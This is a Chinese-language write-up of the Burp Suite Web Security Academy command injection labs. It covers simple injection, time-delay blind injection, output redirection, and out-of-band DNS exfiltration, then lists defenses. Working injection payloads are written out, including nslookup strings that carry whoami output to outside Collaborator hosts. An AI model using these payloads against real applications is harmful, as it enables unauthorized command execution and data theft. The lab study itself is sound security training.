burpsuite官方靶场之命令注入
字数 1511 2025-08-19 12:40:45
Burp Suite官方靶场之命令注入攻击技术详解
1. 命令注入基础概念
命令注入是一种安全漏洞,攻击者能够在应用程序中注入并执行非预期的系统命令。这种漏洞通常发生在应用程序将用户输入直接传递给系统shell执行时。
2. 简单命令注入攻击
2.1 攻击目标
成功执行whoami命令查看当前用户身份
2.2 攻击步骤
- 访问商品展示页面,查看商品详情
- 在库存检查功能处进行抓包
- 发现传递
productId和storeId参数 - 对
productId参数注入payload:%26whoami%26
2.3 技术要点
%26是&符号的URL编码- 在HTTP数据包中,
&是参数分隔符,需要编码避免被解析 - 在系统命令中,
&用于连接多个命令,使它们依次执行
3. 基于时间延迟的命令盲注
3.1 攻击目标
利用命令注入造成10秒的延迟
3.2 攻击场景
- 目标:Submit feedback页面(用户反馈功能)
- 原理:可能使用
sendmail命令发送反馈邮件
3.3 攻击步骤
- 抓取提交反馈的数据包
- 在
email参数插入payload:%26ping -c10 127.0.0.1%26 - 观察响应时间延迟
4. 利用输出重定向的命令盲注
4.1 攻击目标
- 执行
whoami命令 - 将结果输出到可写目录
/var/www/images - 检索输出内容
4.2 攻击步骤
- 在反馈页面提交反馈时抓包
- 在
email参数插入输出重定向payload - 观察网站图片加载路径(
filename参数) - 访问包含命令输出的文件
5. 带外通道技术(OOB)命令盲注
5.1 攻击目标
利用命令注入对Burp Collaborator发起DNS查询
5.2 攻击步骤
- 激活Burp Suite的Collaborator功能
- 在反馈页面提交任意测试数据并抓包
- 在
email参数插入payload:%26nslookup%200no5vo9uebzjpzworih5vhzzyq4hs7gw.oastify.com%26 - 在Collaborator界面检查DNS查询记录
5.3 技术要点
- Collaborator功能类似于DNSLOG
- 用于检测无回显的漏洞
- 通过外带通道使隐藏漏洞显现
6. 利用OOB获取系统用户名
6.1 攻击目标
通过带外通道技术获取系统用户名
6.2 攻击步骤
- 在反馈页面提交测试数据并抓包
- 在
email参数插入payload:%26nslookup%20whoami.wrr1zkdqi73ftv0kvel1zd3v2m8dw4kt.oastify.com%26 - 在Collaborator中检查DNS查询记录,解析用户名
6.3 技术要点
- 反引号(
`)中的内容会被作为命令执行 - 命令执行结果会被插入到DNS查询中
- 通过DNS查询记录可以获取命令执行结果
7. 防御措施
- 输入验证:严格验证用户输入,使用白名单机制
- 参数化调用:避免直接拼接命令,使用API替代系统命令
- 最小权限原则:运行应用程序的账户应具有最小必要权限
- 编码输出:对必须使用系统命令的情况,应对参数进行适当编码
- 使用安全函数:如Python的
subprocess.run()而非os.system()
8. 总结
命令注入是一种高危漏洞,攻击者可以通过多种技术实现攻击,包括:
- 直接命令执行
- 基于时间的盲注
- 输出重定向
- 带外通道技术
防御关键在于不信任任何用户输入,并采用安全的编程实践。Burp Suite的Collaborator工具为检测无回显漏洞提供了有效手段。